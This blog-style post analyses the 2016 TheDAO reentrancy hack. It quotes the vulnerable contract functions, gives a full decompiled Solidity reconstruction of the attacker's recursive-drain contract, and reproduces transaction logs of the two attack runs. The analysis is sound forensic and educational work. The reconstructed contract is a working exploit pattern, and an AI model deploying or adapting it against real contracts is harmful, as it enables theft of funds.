Smart Contract Reentrancy: TheDAO

Zhongqiang Chen
13 min readAug 22, 2019

Overview of TheDAO

A decentralized autonomous organization (DAO) is an entity operated by rules encoded as a computer program, termed smart contract, that is transparent, controlled by shareholders and not influenced by a central government. All DAO’s financial transaction records and program rules are maintained on a blockchain.

The DAO project is just such a decentralized autonomous organization and was meant to operate like a venture capital fund for the crypto and decentralized space. The project was launched in May 2016 and its smart contract as well as all transactions can be found at

https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413

When deploying the DAO contract, some initial values are provided to the contract, which can given below.

DAO contract address:
0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413
constructor arguments
000000000000000000000000da4a4626d3e16e094de3225a751aab7128e965260000000000000000000000004a574510c7014e4ae985403536074abe582adfc80000000000000000000000000000000000000000000000001bc16d674ec80000000000000000000000000000000000000000000000000a968163f0a57b4000000000000000000000000000000000000000000000000000000000000057495e100000000000000000000000000000000000000000000000000000000000000000
Arg [0] : 000000000000000000000000da4a4626d3e16e094de3225a751aab7128e96526
Arg [1] : 0000000000000000000000004a574510c7014e4ae985403536074abe582adfc8
Arg [2] : 0000000000000000000000000000000000000000000000001bc16d674ec80000
Arg [3] : 000000000000000000000000000000000000000000000a968163f0a57b400000
Arg [4] : 0000000000000000000000000000000000000000000000000000000057495e10
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000000
DAO constructor:
function DAO(
address _curator,
DAO_Creator _daoCreator,
uint _proposalDeposit,
uint _minTokensToCreate,
uint _closingTime,
address _privateCreation
)

From the initial values, we can find addresses of the curator and the DAO creator along with other information.

The deployed DAO contract allows its members (also called token holders in the contract) to propose new projects or vote on existing proposals. For instance, the following proposals are just two examples of many submitted projects. Each proposal is assigned an ID and has a recipient and a description along with many other information.

PID  recipient                                   description
59 0xb656b2a9c3b2416437a811e07466ca712f5a5b5a lonely, so lonely
64 0x547389052a8dc86365c46641b5184956ec22749d 0x54738 Split

These two proposals actually act as the entry points for the attacker to start the attacks.

Vulnerability of TheDAO

When a function in a contract calls functions in an external contract, the latter can take over the control flow of the execution and make changes to the data or workflow in the former by calling back to functions in the caller. If a function in a contract could be called repeatedly by another contract before the first invocation of the function is finished, then the former contract is vulnerable to reentrancy and such an attack is called reentrancy attack.

The DAO contract is susceptible to reentrancy attack, although such a vulnerability involves multiple functions. First, let’s look at the splitDAO() function in the DAO contract.

contract DAO is DAOInterface, Token, TokenCreation {
function splitDAO(
uint _proposalID,
address _newCurator
) noEther onlyTokenholders returns (bool _success) {
Proposal p = proposals[_proposalID]; // Sanity check if (now < p.votingDeadline // has the voting deadline arrived?
//The request for a split expires XX days after the voting deadline
|| now > p.votingDeadline + splitExecutionPeriod
// Does the new Curator address match?
|| p.recipient != _newCurator
// Is it a new curator proposal?
|| !p.newCurator
// Have you voted for this split?
|| !p.votedYes[msg.sender]
// Did you already vote on another proposal?
|| (blocked[msg.sender] != _proposalID && blocked[msg.sender] != 0) ) {
throw;
}
// If the new DAO doesn't exist yet, create the new DAO and store the
// current split data
if (address(p.splitData[0].newDAO) == 0) {
p.splitData[0].newDAO = createNewDAO(_newCurator);
// Call depth limit reached, etc.
if (address(p.splitData[0].newDAO) == 0)
throw;
// should never happen
if (this.balance < sumOfProposalDeposits)
throw;
p.splitData[0].splitBalance = actualBalance();
p.splitData[0].rewardToken = rewardToken[address(this)];
p.splitData[0].totalSupply = totalSupply;
p.proposalPassed = true;
}
// Move ether and assign new Tokens
uint fundsToBeMoved =
(balances[msg.sender] * p.splitData[0].splitBalance) /
p.splitData[0].totalSupply;
if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false)
throw;
// Assign reward rights to new DAO
uint rewardTokenToBeMoved =
(balances[msg.sender] * p.splitData[0].rewardToken) / p.splitData[0].totalSupply;
uint paidOutToBeMoved = DAOpaidOut[address(this)] * rewardTokenToBeMoved /
rewardToken[address(this)];
rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved;
if (rewardToken[address(this)] < rewardTokenToBeMoved)
throw;
rewardToken[address(this)] -= rewardTokenToBeMoved;
DAOpaidOut[address(p.splitData[0].newDAO)] += paidOutToBeMoved;
if (DAOpaidOut[address(this)] < paidOutToBeMoved)
throw;
DAOpaidOut[address(this)] -= paidOutToBeMoved;
// Burn DAO Tokens
Transfer(msg.sender, 0, balances[msg.sender]);
withdrawRewardFor(msg.sender); // be nice, and get his rewards
totalSupply -= balances[msg.sender];
balances[msg.sender] = 0;
paidOut[msg.sender] = 0;
return true;
}
}

The main purpose of this function is to create a new DAO from the existing DAO and move certain amount of tokens to the child DAO. The child DAO is created by function createNewDAO(). Besides tokens, rewards are also computed and sent back to the caller, which is implemented in function withdrawRewardFor() given below.

contract DAO is DAOInterface, Token, TokenCreation {
function withdrawRewardFor(address _account) noEther internal
returns (bool _success) {
if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
throw;
uint reward =
(balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
if (!rewardAccount.payOut(_account, reward))
throw;
paidOut[_account] += reward;
return true;
}
}

After determining the amount of reward, the function withdrawRewardFor() call payOut() in the rewardAccount, which is an object of contract ManagedAccount, to actually send rewards to the message sender. The payOut() function is depicted here.

contract ManagedAccount is ManagedAccountInterface{
function payOut(address _recipient, uint _amount) returns (bool) {
if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
throw;
if (_recipient.call.value(_amount)()) {
PayOut(_recipient, _amount);
return true;
} else {
return false;
}
}
}

It is clear that payOut() function uses call() to send Ethers to the recipient, and such a call will hand over the control of the execution flow to the recipient. If the recipient is malicious, the recipient could call back to the DAO contract, thus, a reentrance attack is formed.

The attacker of the DAO indeed takes advantage of such a vulnerability.

Source code of the Attack

To exploit the vulnerability of the DAO contract, the attacker created contracts and deployed them to the Ethereum blockchain. In fact, the attacker deployed two contracts and their addresses are as follows.

contract addresses:
0xF835A0247b0063C04EF22006eBe57c5F11977Cc4
0xC0ee9dB1a9E07cA63E4fF0d5FB6F86Bf68D47b89
contract constructor arguments:
000000000000000000000000bb9bc244d798123fde783fcc1c72d3bb8c189413

It is clear that the parameter to the constructors of the malicious contracts is exactly the address of the DAO contract.

By simply comparing the binary code of the two contracts, we can know that the content of the two contracts are exactly the same.

To execute a contract, only the binary form of the contract is needed. As the attacker is the solely user of the malicious contracts deployed, thus, the application binary interface (i.e., abi file) of the contact can also be kept secret and there is no need to publish it.

As a result, the source code as well as the ABI of the malicious contract is not available to the public, and the binary form of the contract is the only thing we have to analyze it.

With the help of reverse engineering, we are able to convert the binary form of a contract back to the form in high level programming language such as solidity. The compilation of a contract from high level programming language such as Solidity into its binary form, however, loses information. For example, the names of all functions and variables are translated into locations in storage, memory, or stack. Moreover, information on inheritance or function boundaries is also lost during the compilation process. Finally, optimization used when compiling and extra code added by compiler such as default getters and transformation on data structures further make the reverse engineering extremely difficult.

Despite all the loss of information, it is still possible to recover most of the information in the code and present it in high level programming language. After all, code in the form of high level programming language is more human friendlier than binary code or opcodes.

The source code of the DAO attack is depicted as follows . Please note that I use the most up-to-date solidity compiler, which is definitely not the compiler when the DAO attack occurred. If you prefer to older versions of compilers, you need to modify the code a little bit, especially the parts related to interactions with other contracts (i.e., abi encoding and decoding).

pragma solidity ^0.5.1;contract contract_f835 {
event NewOwner(address _addr);
event SetDAO(address _addr);
event Vote(uint256 _proposalID, bool _supportsProposal);
event SplitDAO(uint256 _proposalID, address _addr);
event Transfer(address _addr, uint256 _val);
// event digest does not match
//
0xbab6859bc098da798dbdc4860f0fee7467d703dadd975799e8c258b46a37d3de
event NewDepth(uint256 _depth);
// event digest does not match
// 0xa6af7265d7ede5fbf0ee375956b52b362800d4f92e268809bef5fdf2a57924b8
event ConstructorFail(uint256, address, bytes);
// for public variables, getter functions are generated
// automatically by compiler
// slot 0x00
address public owner;
// slot 0x01
address public curator;
// slot 0x02
address public dao;
// slot 0x03
uint256 public counter;
// slot 0x04
uint256 public proposalID;
// slot 0x05
// does not match function digest 0x26f5a8c9
// if you like, use "cecqaJ", "cEMcnS", or "vKCYuD" because
// bytes4(keccak256("cecqaJ()")) = 0x26f5a8c9
uint256 public depth;
// slot 0x06
address public next;
// slot 0x07
// does not match function digest 0x5970c915
// if you like, use "bUPAoJ" or "rjhDmK" because
// bytes4(keccak256("bUPAoJ()")) = 0x5970c915
address public collector;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}

constructor(address _addr) public payable {
owner = msg.sender;
dao = _addr;
}

// 0x13af4035
function setOwner(address _addr) public onlyOwner returns (bool) {
emit NewOwner(_addr);
owner = _addr;
return true;
}

// 0x625e847d
// does not match function digest
// if you like, use function name "aDZAXD" because
// bytes4(keccak256("aDZAXD()")) = 0x625e847d
function splitDAO2() public payable onlyOwner returns (bool) {
counter = 1;
collector.call.value(address(this).balance)("");
// function splitDAO() digest: 82661dc4
(bool success,) = dao.call(abi.encodeWithSelector(
0x82661dc4, proposalID, curator));
if (!success) {
revert();
}
return true;
}

// 0x6637b882
function setDao(address _addr) public onlyOwner returns (bool) {
dao = _addr;
emit SetDAO(_addr);

return true;
}

// 0x7f9f519f
// does not match function digest
// if you like, use "setDJclvA" because
// bytes4(keccak256("setDJclvA(uint256)")) = 0x7f9f519f
function setDepth(uint256 _depth) public onlyOwner
returns (bool) {
depth = _depth;
emit NewDepth(_depth); return true;
}

// 0xa9059cbb
function transfer(address _addr, uint256 _val) public onlyOwner
returns (bool) {
// function transfer() digest: a9059cbb
(bool success,) = dao.call(abi.encodeWithSelector(
0xa9059cbb, _addr, _val));
if(!success) {
revert();
}
emit Transfer(_addr, _val); return true;
}

// 0xc4463c80
function splitDAO(uint256 _proposalID,
address _curator,
address _next,
uint256 _depth,
address _collector)
public payable onlyOwner
returns (bool) {
next = _next;
counter = 1;
curator = _curator;
proposalID = _proposalID;
depth = _depth;
collector = _collector;
collector.call.value(address(this).balance)(""); // function splitDAO() digest: 82661dc4
// dao.splitDAO() is "noEther", so don't set value()
(bool success,) = dao.call(abi.encodeWithSelector(
0x82661dc4, proposalID, curator));
if (!success) {
revert();
}
emit SplitDAO(proposalID, next);

return true;
}

// 0xc9d27afe
function vote(uint256 _proposalID, bool _supportsProposal)
public payable onlyOwner
returns (bool) {
// function vote() digest: 0xc9d27afe
(bool success,) = dao.call(abi.encodeWithSelector(
0xc9d27afe, _proposalID, _supportsProposal));
if (!success) {
revert();
}
emit Vote(_proposalID, _supportsProposal); return true;
}

function () external payable {
// check if caller is rewardAccount, a ManagedAccount
// function rewardAccount() digest: 0e708203
(bool success, bytes memory bys) = dao.call(
abi.encodeWithSelector(0x0e708203));
if(!success) {
revert();
}
address account;
assembly {
account := mload(add(bys, 0x20))
}
if (account != msg.sender) {
// note: the misspelled word "constuctor"
emit ConstructorFail(0x40, msg.sender,
'constuctor fail');
return;
}
// caller indeed comes from rewardAccount
if (counter > (depth - 1)) {
// reach maximum number of reentries
// function balanceOf() digest: 70a08231
(success, bys) = dao.call(abi.encodeWithSelector(
0x70a08231, address(this)));
if(!success) {
revert();
}
uint256 bal;
assembly {
bal := mload(add(bys, 0x20))
}
// function transfer() digest: a9059cbb
(success,) = dao.call(abi.encodeWithSelector(
0xa9059cbb, next, bal));
if(!success) {
revert();
}
counter = 1;
return;
}
// not hit maximum number of reentries yet
counter += 1;

// function splitDAO() digest: 82661dc4
(success,) = dao.call(abi.encodeWithSelector(
0x82661dc4, proposalID, curator));
if(!success) {
revert();
}
return;
}
}

It can be observed that the attack code is well designed and organized.

First, the code only implements the functions that are absolutely necessary for the attack. In this regard, functions for voting on proposals, transferring tokens, and exploiting vulnerability are implemented. Also, the code only provides APIs to set new owner, DAO contract address, and maximum number of reentries, but not for other variables such as proposal ID and curator. It is clear from the DAO implementation that those new DAOs split from the original DAO share exactly the same piece of code, implying that all generations of DAOs are susceptible to the same reentrancy attack. To attack any newly generated DAO, it is as easy as pointing the malicious code to the new DAO by calling the APIs.

Next, a launch pad (or attack platform) needs to be built in order to launch attacks. The attack platform including initialization of variables only needs sep up once, and after that, continuous attacks can be fired. Thus, the code provides two different attack venues: a heavy weight and a light weight. In the heavy weight attack venue, that is function splitDAO(), all variables related to the attack, such as proposalID, curator, and maximum number of reentrancy, should be provided. On the contrary, in the light weight attack venue, that is function splitDAO2(), no variable is needed.

Finally, to make the attacks more efficient, the code is designed to use two (or more) contracts to coordinate the attacks. More specifically, variable “next” of the code is used to store the address of another contract that executes the same piece of malicious code. At the end of each round of attack, all tokens drained by the current contract will be transferred to this “next” contract to avoid being emptied out, at the meanwhile, this also makes it possible for the “next” contract to launch the next round of attack.

Please note that some function names and event names are not the same as their original names in the attacker’s code as their digests do not match those given in the binary code. For detailed information, please refer to the source code presented above.

Launch the Attack

As pointed out in the previous section, two malicious contracts are deployed in order to launch attacks. As the behavior of these two contracts are similar, so let’s focus on the contract whose address starts with F835.

First, the attacker uses the heavy weight venue to launch the attack.

step 1. vote on a proposal by calling function:
vote(uint256 _proposalID, bool _supportsProposal)
Transaction Hash:
0xb5ff2d7a165baba4ca8d7bf8223af9dcf956ec6a4f4f85dbdd3ebea0111251ed
function arguments:
MethodID: 0xc9d27afe
[0]: 000000000000000000000000000000000000000000000000000000000000003b
[1]: 0000000000000000000000000000000000000000000000000000000000000001
step 2. transfer tokens by calling function:
transfer(address _to, uint256 _value)
Transaction Hash:
0xea48232a5c0e0721e27842fb88fb9d102ff2f8a2833b13f284ea3ce431ecc0a6
function arguments:
MethodID: 0xa9059cbb
[0]: 000000000000000000000000c0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89
[1]: 00000000000000000000000000000000000000000000000dfd3f956d86e77600
step 3. launch an attack with heavy weight venue:
function splitDAO(uint256 _proposalID,
address _curator,
address _next,
uint256 _depth,
address _collector
)
Transaction Hash:
0xecbdaf337c91c3b4ece2bfbd5fd1dee159dbe0bfbe528222c6e4f8e6149532a7
function arguments:
MethodID: c4463c80
000000000000000000000000000000000000000000000000000000000000003b
000000000000000000000000b656b2a9c3b2416437a811e07466ca712f5a5b5a
000000000000000000000000c0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89
0000000000000000000000000000000000000000000000000000000000000009
000000000000000000000000969837498944ae1dc0dcac2d0c65634c88729b2d

The results of the attack executed in step 3 are as follows.

Transaction Hash:
0xecbdaf337c91c3b4ece2bfbd5fd1dee159dbe0bfbe528222c6e4f8e6149532a7
Block: 1718499 6652695 Block Confirmations
Timestamp: 1156 days 20 hrs ago (Jun-17-2016 03:34:58 AM +UTC)
From: 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d
To: Contract 0xf835a0247b0063c04ef22006ebe57c5f11977cc4
TRANSFER 138.37072686999998 Ether From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 To 0x969837498944ae1dc0dcac2d0c65634c88729b2dTRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490Tokens Transferred:
(10 ERC-20 Transfers found)
From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89For 25,805.6141471 ($48,074.58) TheDAO (TheDAO)Value: 138.37072686999998 Ether ($25,756.33)
Transaction Fee: 0.026538775 Ether ($4.94)
Gas Limit: 4,712,388
Gas Used by Transaction: 1,061,551 (22.53%)
Gas Price: 0.000000025 Ether (25 Gwei)
Nonce Position 6 0

It can seen that there are indeed 9 transactions that transfer Ethers from the DAO contract to the child DAO contract created by the attacker.

Also, the gas limit for the transaction executing the attack is set to 4,712,388, but the attack only consumes 1,061,551 (22.53%), indicating that the maximum number of reentries can be much larger than 9 with the given gas limit.

Therefore, the attacker increases the maximum number of reentries to 0x1d (29) before launch another attack using the light weight venue.

step 1. adjust maximum number of reentries.
function setDepth(uint256 _depth)
Transaction Hash:
0x2e7c1b39d3406de4b53a95711ec1f87ad6bf86e6da4783f9b34318b4a94fe107
function arguments:
MethodID: 7f9f519f
000000000000000000000000000000000000000000000000000000000000001dstep 2. attack with light weight venue.
function splitDAO2()
Transaction Hash:
0x43e328ef43c6f2dcce8025efbcbc280c89464fb2b34462653fa13ba5bab89496
function arguments:
MethodID: 0x625e847d

Clearly, when launching attacks by using the light weight venue, the attacker does not need to provide any information when calling the API. The results of this light weight attack venue are as follows.

Transaction Hash:
0x43e328ef43c6f2dcce8025efbcbc280c89464fb2b34462653fa13ba5bab89496
Block: 1718508 6652958 Block Confirmations
Timestamp: 1156 days 21 hrs ago (Jun-17-2016 03:35:47 AM +UTC)
From: 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d
To: Contract 0xf835a0247b0063c04ef22006ebe57c5f11977cc4
TRANSFER 138.243226594429474179 Ether From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 To 0x969837498944ae1dc0dcac2d0c65634c88729b2dTRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490TRANSFER 258.056564760381731336 Ether From 0xbb9bc244d798123fde783fcc1c72d3bb8c189413 To 0x304a554a310c7e546dfe434669c62820b7d83490Tokens Transferred:
(30 ERC-20 Transfers found)
From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0x0000000000000000000000000000000000000000For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)From 0xf835a0247b0063c04ef22006ebe57c5f11977cc4To 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89For 25,805.6141471 ($47,833.23) TheDAO (TheDAO)Value: 138.24322639471464 Ether ($25,601.26)
Transaction Fee: 0.071223425 Ether ($13.19)
Gas Limit: 4,712,388
Gas Used by Transaction: 2,848,937 (60.46%)
Gas Price: 0.000000025 Ether (25 Gwei)
Nonce Position 8 0

After this attack with the light weight venue, the attacker successfully pulls ethers from the DAO contract 29 times.

It can also be seen that with maximum number of reentries as 29, the gas consumption is about 60.46% of the limit. So, the maximum number of reentries could be further raised if the attacker would like to.

--

--